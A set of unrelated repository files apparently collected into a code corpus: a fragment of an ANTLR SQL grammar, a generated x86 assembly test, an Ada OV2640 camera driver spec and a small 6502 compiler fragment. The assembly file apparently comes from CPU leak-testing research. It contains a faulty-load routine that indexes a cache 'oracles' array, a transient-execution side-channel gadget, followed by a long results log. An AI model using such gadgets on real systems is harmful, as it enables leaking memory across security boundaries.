TREAT LP_ aExpr AS typeName RP_ | TRIM LP_ BOTH trimList RP_ | TRIM LP_ LEADING trimList RP_ | TRIM LP_ TRAILING trimList RP_ | TRIM LP_ trimList RP_ | NULLIF LP_ aExpr COMMA_ aExpr RP_ | COALESCE LP_ exprList RP_ | GREATEST LP_ exprList RP_ | LEAST LP_ exprList RP_ | XMLCONCAT LP_ exprList RP_ | XMLELEMENT LP_ NAME identifier RP_ | XMLELEMENT LP_ NAME identifier COMMA_ xmlAttributes RP_ | XMLELEMENT LP_ NAME identifier COMMA_ exprList RP_ | XMLELEMENT LP_ NAME identifier COMMA_ xmlAttributes COMMA_ exprList RP_ | XMLEXISTS LP_ cExpr xmlExistsArgument RP_ | XMLFOREST LP_ xmlAttributeList RP_ | XMLPARSE LP_ documentOrContent aExpr xmlWhitespaceOption RP_ | XMLPI LP_ NAME identifier RP_ | XMLPI LP_ NAME identifier COMMA_ aExpr RP_ | XMLROOT LP_ aExpr COMMA_ xmlRootVersion xmlRootStandalone? RP_ | XMLSERIALIZE LP_ documentOrContent aExpr AS simpleTypeName RP_ ; typeName : simpleTypeName optArrayBounds | SETOF simpleTypeName optArrayBounds | simpleTypeName ARRAY LBT_ NUMBER_ RBT_ | SETOF simpleTypeName ARRAY LBT_ NUMBER_ RBT_ | simpleTypeName ARRAY | SETOF simpleTypeName ARRAY ; simpleTypeName : genericType | numeric | bit | character | constDatetime | constInterval optInterval | constInterval LP_ NUMBER_ RP_ ; exprList : aExpr | exprList COMMA_ aExpr ; extractList : extractArg FROM aExpr ; extractArg : YEAR | MONTH | DAY | HOUR | MINUTE | SECOND | identifier ; genericType : typeFunctionName typeModifiers? | typeFunctionName attrs typeModifiers? ; typeModifiers : LP_ exprList RP_ ; numeric : INT | INTEGER | SMALLINT | BIGINT| REAL | FLOAT optFloat | DOUBLE PRECISION | DECIMAL typeModifiers? | DEC typeModifiers? | NUMERIC typeModifiers? | BOOLEAN | FLOAT8 | FLOAT4 | INT2 | INT4 | INT8 ; constDatetime : TIMESTAMP LP_ NUMBER_ RP_ timezone? | TIMESTAMP timezone? | TIME LP_ NUMBER_ RP_ timezone? | TIME timezone? | DATE ; timezone : WITH TIME ZONE | WITHOUT TIME ZONE ; character : characterWithLength | characterWithoutLength ; characterWithLength : characterClause LP_ NUMBER_ RP_ ; characterWithoutLength : characterClause ; characterClause : CHARACTER VARYING? | CHAR VARYING? | VARCHAR | NATIONAL CHARACTER VARYING? | NATIONAL CHAR VARYING? | NCHAR VARYING? ; optFloat : LP_ NUMBER_ RP_ | ; attrs : DOT_ attrName | attrs DOT_ attrName ; attrName : colLable ; colLable : identifier | colNameKeyword | typeFuncNameKeyword | reservedKeyword ; bit : bitWithLength | bitWithoutLength ; bitWithLength : BIT VARYING? LP_ exprList RP_ ; bitWithoutLength : BIT VARYING? ; constInterval : INTERVAL ; optInterval : YEAR | MONTH | DAY | HOUR | MINUTE | intervalSecond | YEAR TO MONTH | DAY TO HOUR | DAY TO MINUTE | DAY TO intervalSecond | HOUR TO MINUTE | HOUR TO intervalSecond | MINUTE TO intervalSecond | ; optArrayBounds : optArrayBounds LBT_ RBT_ | optArrayBounds LBT_ NUMBER_ RBT_ | ; intervalSecond : SECOND | SECOND LP_ NUMBER_ RP_ ; unicodeNormalForm : NFC | NFD | NFKC | NFKD ; trimList : aExpr FROM exprList | FROM exprList | exprList ; overlayList : aExpr overlayPlacing substrFrom substrFor | aExpr overlayPlacing substrFrom ; overlayPlacing : PLACING aExpr ; substrFrom : FROM aExpr ; substrFor : FOR aExpr ; positionList : bExpr IN bExpr | ; substrList : aExpr substrFrom substrFor | aExpr substrFor substrFrom | aExpr substrFrom | aExpr substrFor | exprList | ; xmlAttributes : XMLATTRIBUTES LP_ xmlAttributeList RP_ ; xmlAttributeList : xmlAttributeEl (COMMA_ xmlAttributeEl)* ; xmlAttributeEl : aExpr AS identifier | aExpr ; xmlExistsArgument : PASSING cExpr | PASSING cExpr xmlPassingMech | PASSING xmlPassingMech cExpr | PASSING xmlPassingMech cExpr xmlPassingMech ; xmlPassingMech : BY REF | BY VALUE ; documentOrContent : DOCUMENT | CONTENT ; xmlWhitespaceOption : PRESERVE WHITESPACE | STRIP WHITESPACE | ; xmlRootVersion : VERSION aExpr | VERSION NO VALUE ; xmlRootStandalone : COMMA_ STANDALONE YES | COMMA_ STANDALONE NO | COMMA_ STANDALONE NO VALUE ; rowsFromItem : functionExprWindowless columnDefList ; rowsFromList : rowsFromItem (COMMA_ rowsFromItem)* ; columnDefList : AS LP_ tableFuncElementList RP_ ; tableFuncElementList : tableFuncElement (COMMA_ tableFuncElement)* ; tableFuncElement : colId typeName collateClause? ; collateClause : COLLATE EQ_? anyName ; anyName : colId | colId attrs ; aliasClause : AS colId LP_ nameList RP_ | AS colId | colId LP_ nameList RP_ | colId ; nameList : name | nameList COMMA_ name ; funcAliasClause : aliasClause | AS LP_ tableFuncElementList RP_ | AS colId LP_ tableFuncElementList RP_ | colId LP_ tableFuncElementList RP_ ; tablesampleClause : TABLESAMPLE funcName LP_ exprList RP_ repeatableClause? ; repeatableClause : REPEATABLE LP_ aExpr RP_ ; allOrDistinct : ALL | DISTINCT ; sortClause : ORDER BY sortbyList ; sortbyList : sortby (COMMA_ sortby)* ; sortby : aExpr USING qualAllOp nullsOrder? | aExpr ascDesc? nullsOrder? ; nullsOrder : NULLS FIRST | NULLS LAST ; distinctClause : DISTINCT | DISTINCT ON LP_ exprList RP_ ; distinct : DISTINCT ; overClause : OVER windowSpecification | OVER colId ; windowSpecification : LP_ windowName? partitionClause? sortClause? frameClause? RP_ ; windowName : colId ; partitionClause : PARTITION BY exprList ; indexParams : indexElem (COMMA_ indexElem)* ; indexElemOptions : collate? optClass ascDesc? nullsOrder? | collate? anyName reloptions ascDesc? nullsOrder? ; indexElem : colId indexElemOptions | functionExprWindowless indexElemOptions | LP_ aExpr RP_ indexElemOptions ; collate : COLLATE anyName ; optClass : anyName | ; reloptions : LP_ reloptionList RP_ ; reloptionList : reloptionElem (COMMA_ reloptionElem)* ; reloptionElem : alias EQ_ defArg | alias | alias DOT_ alias EQ_ defArg | alias DOT_ alias ; defArg : funcType | reservedKeyword | qualAllOp | NUMBER_ | STRING_ | NONE | funcName (LP_ funcArgsList RP_ | LP_ RP_) ; funcType : typeName | typeFunctionName attrs MOD_ TYPE | SETOF typeFunctionName attrs MOD_ TYPE ; selectWithParens : DEFAULT_DOES_NOT_MATCH_ANYTHING ; dataType : dataTypeName dataTypeLength? characterSet? collateClause? | dataTypeName LP_ STRING_ (COMMA_ STRING_)* RP_ characterSet? collateClause? ; dataTypeName : INT | INT2 | INT4 | INT8 | SMALLINT | INTEGER | BIGINT | DECIMAL | NUMERIC | REAL | FLOAT | FLOAT4 | FLOAT8 | DOUBLE PRECISION | SMALLSERIAL | SERIAL | BIGSERIAL | MONEY | VARCHAR | CHARACTER | CHAR | TEXT | NAME | BYTEA | TIMESTAMP | DATE | TIME | INTERVAL | BOOLEAN | ENUM | POINT | LINE | LSEG | BOX | PATH | POLYGON | CIRCLE | CIDR | INET | MACADDR | MACADDR8 | BIT | VARBIT | TSVECTOR | TSQUERY | XML | JSON | INT4RANGE | INT8RANGE | NUMRANGE | TSRANGE | TSTZRANGE | DATERANGE | ARRAY | identifier | constDatetime | typeName ; dataTypeLength : LP_ NUMBER_ (COMMA_ NUMBER_)? RP_ ; characterSet : (CHARACTER | CHAR) SET EQ_? ignoredIdentifier ; ignoredIdentifier : identifier (DOT_ identifier)? ; ignoredIdentifiers : ignoredIdentifier (COMMA_ ignoredIdentifier)* ; signedIconst : NUMBER_ | PLUS_ NUMBER_ | MINUS_ NUMBER_ ; booleanOrString : TRUE | FALSE | ON | nonReservedWord | STRING_ ; nonReservedWord : identifier | unreservedWord | colNameKeyword | typeFuncNameKeyword ; colNameKeyword : BETWEEN | BIGINT | BIT | BOOLEAN | CHAR | CHARACTER | COALESCE | DEC | DECIMAL | EXISTS | EXTRACT | FLOAT | GREATEST | GROUPING | INOUT | INT | INTEGER | INTERVAL | LEAST | NATIONAL | NCHAR | NONE | NULLIF | NUMERIC | OUT | OVERLAY | POSITION | PRECISION | REAL | ROW | SETOF | SMALLINT | SUBSTRING | TIME | TIMESTAMP | TREAT | TRIM | VALUES | VARCHAR | XMLATTRIBUTES | XMLCONCAT | XMLELEMENT | XMLEXISTS | XMLFOREST | XMLNAMESPACES | XMLPARSE | XMLPI | XMLROOT | XMLSERIALIZE | XMLTABLE ; databaseName : colId ; roleSpec : identifier | nonReservedWord | CURRENT_USER | SESSION_USER | CURRENT_ROLE | PUBLIC ; varName : colId | varName DOT_ colId ; varList : varValue (COMMA_ varValue)* ; varValue : booleanOrString | numericOnly ; zoneValue : STRING_ | identifier | INTERVAL STRING_ optInterval | INTERVAL LP_ NUMBER_ RP_ STRING_ | numericOnly | DEFAULT | LOCAL ; numericOnly : NUMBER_ | PLUS_ NUMBER_ | MINUS_ NUMBER_ ; isoLevel : READ UNCOMMITTED | READ COMMITTED | REPEATABLE READ | SERIALIZABLE ; columnDef : colId typeName createGenericOptions? colQualList ; colQualList : colConstraint* ; colConstraint : CONSTRAINT name colConstraintElem | colConstraintElem | constraintAttr | COLLATE anyName ; constraintAttr : DEFERRABLE | NOT DEFERRABLE | INITIALLY DEFERRED | INITIALLY IMMEDIATE ; colConstraintElem : NOT NULL | NULL | UNIQUE (WITH definition)? consTableSpace | PRIMARY KEY (WITH definition)? consTableSpace | CHECK LP_ aExpr RP_ noInherit? | DEFAULT bExpr | GENERATED generatedWhen AS IDENTITY parenthesizedSeqOptList? | GENERATED generatedWhen AS LP_ aExpr RP_ STORED | REFERENCES qualifiedName optColumnList? keyMatch? keyActions? ; parenthesizedSeqOptList : LP_ seqOptList RP_ ; seqOptList : seqOptElem+ ; seqOptElem : AS simpleTypeName | CACHE numericOnly | CYCLE | NO CYCLE | INCREMENT BY? numericOnly | MAXVALUE numericOnly | MINVALUE numericOnly | NO MAXVALUE | NO MINVALUE | OWNED BY anyName | SEQUENCE NAME anyName | START WITH? numericOnly | RESTART | RESTART WITH? numericOnly ; optColumnList : LP_ columnList RP_ ; columnElem : colId ; columnList : columnElem (COMMA_ columnElem)* ; generatedWhen : ALWAYS | BY DEFAULT ; noInherit : NO INHERIT ; consTableSpace : USING INDEX TABLESPACE name ; definition : LP_ defList RP_ ; defList : defElem (COMMA_ defElem)* ; defElem : (colLabel EQ_ defArg) | colLabel ; colLabel : identifier | unreservedWord | colNameKeyword | typeFuncNameKeyword | reservedKeyword ; keyActions : keyUpdate | keyDelete | keyUpdate keyDelete | keyDelete keyUpdate ; keyDelete : ON DELETE keyAction ; keyUpdate : ON UPDATE keyAction ; keyAction : NO ACTION | RESTRICT | CASCADE | SET NULL | SET DEFAULT ; keyMatch : MATCH FULL | MATCH PARTIAL | MATCH SIMPLE ; createGenericOptions : OPTIONS LP_ genericOptionList RP_ ; genericOptionList : genericOptionElem (COMMA_ genericOptionElem)* ; genericOptionElem : genericOptionName genericOptionArg ; genericOptionArg : STRING_ ; genericOptionName : colLable ; replicaIdentity : NOTHING | FULL | DEFAULT | USING INDEX name ; operArgtypes : LP_ (typeName | NONE) COMMA_ typeName RP_ ; funcArg : argClass paramName funcType | paramName argClass funcType | paramName funcType | argClass funcType | funcType ; argClass : IN | OUT | INOUT | IN OUT | VARIADIC ; funcArgsList : funcArg (COMMA_ funcArg)* ; nonReservedWordOrSconst : nonReservedWord | STRING_ ; fileName : STRING_ ; roleList : roleSpec (COMMA_ roleSpec)* ; setResetClause : SET setRest | variableResetStmt ; setRest : TRANSACTION transactionModeList | SESSION CHARACTERISTICS AS TRANSACTION transactionModeList | setRestMore ; transactionModeList : transactionModeItem (COMMA_? transactionModeItem)* ; transactionModeItem : ISOLATION LEVEL isoLevel | READ ONLY | READ WRITE | DEFERRABLE | NOT DEFERRABLE ; setRestMore : genericSet | varName FROM CURRENT | TIME ZONE zoneValue | CATALOG STRING_ | SCHEMA STRING_ | NAMES encoding? | ROLE nonReservedWord | STRING_ | SESSION AUTHORIZATION nonReservedWord | STRING_ | SESSION AUTHORIZATION DEFAULT | XML OPTION documentOrContent | TRANSACTION SNAPSHOT STRING_ ; encoding : STRING_ | DEFAULT ; genericSet : varName (EQ_|TO) (varList | DEFAULT) ; variableResetStmt : RESET resetRest ; resetRest : genericReset | TIME ZONE | TRANSACTION ISOLATION LEVEL | SESSION AUTHORIZATION ; genericReset : varName | ALL ; relationExprList : relationExpr (COMMA_ relationExpr)* ; relationExpr : qualifiedName (ASTERISK_)? | ONLY LP_? qualifiedName RP_? ; commonFuncOptItem : CALLED ON NULL INPUT | RETURNS NULL ON NULL INPUT | STRICT | IMMUTABLE | STABLE | VOLATILE | EXTERNAL SECURITY DEFINER | EXTERNAL SECURITY INVOKER | SECURITY DEFINER | SECURITY INVOKER | LEAKPROOF | NOT LEAKPROOF | COST numericOnly | ROWS numericOnly | SUPPORT anyName | functionSetResetClause | PARALLEL colId ; functionSetResetClause : SET setRestMore | variableResetStmt ; rowSecurityCmd : ALL | SELECT | INSERT | UPDATE | DELETE ; event : SELECT | UPDATE | DELETE | INSERT ; typeNameList : typeName (COMMA_ typeName)* ; notExistClause : IF NOT EXISTS ; existClause : IF EXISTS ; booleanValue : TRUE | ON | FALSE | OFF | NUMBER_ ;
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1299.asm
ljhsiun2/medusa
9
163120
<filename>Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1299.asm .global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r15 push %r8 push %r9 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0xff94, %r10 nop nop xor %rbx, %rbx mov $0x6162636465666768, %r9 movq %r9, (%r10) nop nop xor $22575, %rdx lea addresses_UC_ht+0x11e5c, %r8 nop nop add $62437, %rbx movb $0x61, (%r8) nop nop nop nop xor $6977, %r10 lea addresses_WT_ht+0xca8c, %r12 clflush (%r12) xor %r15, %r15 mov (%r12), %r9w nop sub $13160, %r8 lea addresses_WC_ht+0xb87e, %rsi lea addresses_UC_ht+0x88d4, %rdi nop add %r15, %r15 mov $57, %rcx rep movsw nop nop nop nop xor %rdi, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r15 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r15 push %rbx push %rcx push %rdi push %rsi // REPMOV lea addresses_US+0x2914, %rsi lea addresses_A+0x486a, %rdi add $7857, %r14 mov $31, %rcx rep movsw cmp %rcx, %rcx // Store lea addresses_D+0x1ff64, %r11 nop nop nop nop and %rdi, %rdi mov $0x5152535455565758, %rcx movq %rcx, (%r11) nop nop add %r11, %r11 // Faulty Load lea addresses_WT+0x6b94, %rdi nop nop nop nop and %r15, %r15 movb (%rdi), %bl lea oracles, %r14 and $0xff, %rbx shlq $12, %rbx mov (%r14,%rbx,1), %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %r15 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_US'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_A'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 4, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 3, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
components/src/camera/OV2640/ov2640.ads
rocher/Ada_Drivers_Library
192
11665
------------------------------------------------------------------------------ -- -- -- Copyright (C) 2015-2016, AdaCore -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions are -- -- met: -- -- 1. Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- 2. Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in -- -- the documentation and/or other materials provided with the -- -- distribution. -- -- 3. Neither the name of the copyright holder nor the names of its -- -- contributors may be used to endorse or promote products derived -- -- from this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -- -- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -- -- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -- -- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -- -- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -- -- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ with HAL; use HAL; with HAL.I2C; use HAL.I2C; package OV2640 is OV2640_PID : constant := 16#26#; type Pixel_Format is (Pix_RGB565, Pix_YUV422, Pix_JPEG); type Frame_Size is (QQCIF, QQVGA, QQVGA2, QCIF, HQVGA, QVGA, CIF, VGA, SVGA, SXGA, UXGA); type Frame_Rate is (FR_2FPS, FR_8FPS, FR_15FPS, FR_30FPS, FR_60FPS); type Resolution is record Width, Height : UInt16; end record; Resolutions : constant array (Frame_Size) of Resolution := ((88, 72), -- /* QQCIF */ (160, 120), -- /* QQVGA */ (128, 160), -- /* QQVGA2*/ (176, 144), -- /* QCIF */ (240, 160), -- /* HQVGA */ (320, 240), -- /* QVGA */ (352, 288), -- /* CIF */ (640, 480), -- /* VGA */ (800, 600), -- /* SVGA */ (1280, 1024), -- /* SXGA */ (1600, 1200) -- /* UXGA */ ); type OV2640_Camera (I2C : not null Any_I2C_Port) is private; procedure Initialize (This : in out OV2640_Camera; Addr : I2C_Address); procedure Set_Pixel_Format (This : OV2640_Camera; Pix : Pixel_Format); procedure Set_Frame_Size (This : OV2640_Camera; Res : Frame_Size); procedure Set_Frame_Rate (This : OV2640_Camera; FR : Frame_Rate); function Get_PID (This : OV2640_Camera) return UInt8; procedure Enable_Auto_Gain_Control (This : OV2640_Camera; Enable : Boolean := True); procedure Enable_Auto_White_Balance (This : OV2640_Camera; Enable : Boolean := True); procedure Enable_Auto_Exposure_Control (This : OV2640_Camera; Enable : Boolean := True); procedure Enable_Auto_Band_Filter (This : OV2640_Camera; Enable : Boolean := True); private type OV2640_Camera (I2C : not null Any_I2C_Port) is record Addr : UInt10; end record; REG_BANK_SELECT : constant := 16#FF#; SELECT_SENSOR : constant := 1; SELECT_DSP : constant := 0; -- Sensor registers -- REG_SENSOR_GAIN : constant := 16#00#; REG_SENSOR_COM1 : constant := 16#03#; REG_SENSOR_REG04 : constant := 16#04#; REG_SENSOR_REG08 : constant := 16#08#; REG_SENSOR_COM2 : constant := 16#09#; REG_SENSOR_PID : constant := 16#0A#; REG_SENSOR_PIDL : constant := 16#0B#; REG_SENSOR_COM3 : constant := 16#0C#; REG_SENSOR_COM4 : constant := 16#0D#; REG_SENSOR_AEC : constant := 16#10#; REG_SENSOR_CLKRC : constant := 16#11#; REG_SENSOR_COM7 : constant := 16#12#; REG_SENSOR_COM8 : constant := 16#13#; REG_SENSOR_COM9 : constant := 16#14#; REG_SENSOR_COM10 : constant := 16#15#; REG_SENSOR_HREFST : constant := 16#17#; REG_SENSOR_HREFEND : constant := 16#18#; REG_SENSOR_VSTRT : constant := 16#19#; REG_SENSOR_VEND : constant := 16#1A#; REG_SENSOR_MIDH : constant := 16#1C#; REG_SENSOR_MIDL : constant := 16#1D#; REG_SENSOR_AEW : constant := 16#24#; REG_SENSOR_AEB : constant := 16#25#; REG_SENSOR_VV : constant := 16#26#; REG_SENSOR_REG2A : constant := 16#2A#; REG_SENSOR_FRARL : constant := 16#2B#; REG_SENSOR_ADDVSL : constant := 16#2D#; REG_SENSOR_ADDVSH : constant := 16#2E#; REG_SENSOR_YAVG : constant := 16#2F#; REG_SENSOR_HSDY : constant := 16#30#; REG_SENSOR_HEDY : constant := 16#31#; REG_SENSOR_REG32 : constant := 16#32#; REG_SENSOR_ARCOM2 : constant := 16#34#; REG_SENSOR_REG45 : constant := 16#45#; REG_SENSOR_FLL : constant := 16#46#; REG_SENSOR_FLH : constant := 16#47#; REG_SENSOR_COM19 : constant := 16#48#; REG_SENSOR_ZOOMS : constant := 16#49#; REG_SENSOR_RSVD : constant := 16#4A#; REG_SENSOR_COM22 : constant := 16#4B#; REG_SENSOR_COM25 : constant := 16#4E#; REG_SENSOR_BD50 : constant := 16#4F#; REG_SENSOR_BD60 : constant := 16#50#; REG_SENSOR_REG5D : constant := 16#5D#; REG_SENSOR_REG5E : constant := 16#5E#; REG_SENSOR_REG5F : constant := 16#5F#; REG_SENSOR_REG60 : constant := 16#60#; REG_SENSOR_HISTO_LOW : constant := 16#61#; REG_SENSOR_HISTO_HIGH : constant := 16#62#; -- DSP registers -- REG_DSP_BYPASS : constant := 16#05#; REG_DSP_QS : constant := 16#44#; REG_DSP_CTRLI : constant := 16#50#; REG_DSP_HSIZE : constant := 16#51#; REG_DSP_VSIZE : constant := 16#52#; REG_DSP_XOFFL : constant := 16#53#; REG_DSP_YOFFL : constant := 16#54#; REG_DSP_VHYX : constant := 16#55#; REG_DSP_DPRP : constant := 16#56#; REG_DSP_TEST : constant := 16#57#; REG_DSP_ZMOW : constant := 16#5A#; REG_DSP_ZMOH : constant := 16#5B#; REG_DSP_ZMHH : constant := 16#5C#; REG_DSP_BPADDR : constant := 16#7C#; REG_DSP_BPDATA : constant := 16#7D#; REG_DSP_CTRL2 : constant := 16#86#; REG_DSP_CTRL3 : constant := 16#87#; REG_DSP_SIZEL : constant := 16#8C#; REG_DSP_HSIZE8 : constant := 16#C0#; REG_DSP_VSIZE8 : constant := 16#C1#; REG_DSP_CTRL0 : constant := 16#C2#; REG_DSP_CTRL1 : constant := 16#C3#; REG_DSP_R_DVP_SP : constant := 16#D3#; REG_DSP_IMAGE_MODE : constant := 16#DA#; REG_DSP_RESET : constant := 16#E0#; REG_DSP_MS_SP : constant := 16#F0#; REG_DSP_SS_ID : constant := 16#F7#; REG_DSP_SS_CTRL : constant := 16#F8#; REG_DSP_MC_BIST : constant := 16#F9#; REG_DSP_MC_AL : constant := 16#FA#; REG_DSP_MC_AH : constant := 16#FB#; REG_DSP_MC_D : constant := 16#FC#; REG_DSP_P_CMD : constant := 16#FD#; REG_DSP_P_STATUS : constant := 16#FE#; COM3_DEFAULT : constant := 16#38#; COM3_BAND_50Hz : constant := 16#04#; COM3_BAND_60Hz : constant := 16#00#; COM3_BAND_AUTO : constant := 16#02#; COM8_DEFAULT : constant := 16#C0#; COM8_BNDF_EN : constant := 16#20#; -- Enable Banding filter COM8_AGC_EN : constant := 16#04#; -- AGC Auto/Manual control selection COM8_AEC_EN : constant := 16#01#; -- Auto/Manual Exposure control COM9_DEFAULT : constant := 16#08#; MC_BIST_RESET : constant := 16#80#; MC_BIST_BOOT_ROM_SEL : constant := 16#40#; MC_BIST_12KB_SEL : constant := 16#20#; MC_BIST_12KB_MASK : constant := 16#30#; MC_BIST_512KB_SEL : constant := 16#08#; MC_BIST_512KB_MASK : constant := 16#0C#; MC_BIST_BUSY_BIT_R : constant := 16#02#; MC_BIST_MC_RES_ONE_SH_W : constant := 16#02#; MC_BIST_LAUNCH : constant := 16#01#; RESET_MICROC : constant := 16#40#; RESET_SCCB : constant := 16#20#; RESET_JPEG : constant := 16#10#; RESET_DVP : constant := 16#04#; RESET_IPU : constant := 16#02#; RESET_CIF : constant := 16#01#; CTRL3_BPC_EN : constant := 16#80#; CTRL3_WPC_EN : constant := 16#40#; R_DVP_SP : constant := 16#D3#; R_DVP_SP_AUTO_MODE : constant := 16#80#; CTRL0_AEC_EN : constant := 16#80#; CTRL0_AEC_SEL : constant := 16#40#; CTRL0_STAT_SEL : constant := 16#20#; CTRL0_VFIRST : constant := 16#10#; CTRL0_YUV422 : constant := 16#08#; CTRL0_YUV_EN : constant := 16#04#; CTRL0_RGB_EN : constant := 16#02#; CTRL0_RAW_EN : constant := 16#01#; end OV2640;
src/main/fragment/mos6502-common/_stackpushsword_=vwsm1.asm
jbrandwood/kickc
2
81195
lda {m1}+1 pha lda {m1} pha
editor1.asm
rtx-abir/Assembly-Language---Text-Editor
0
7771
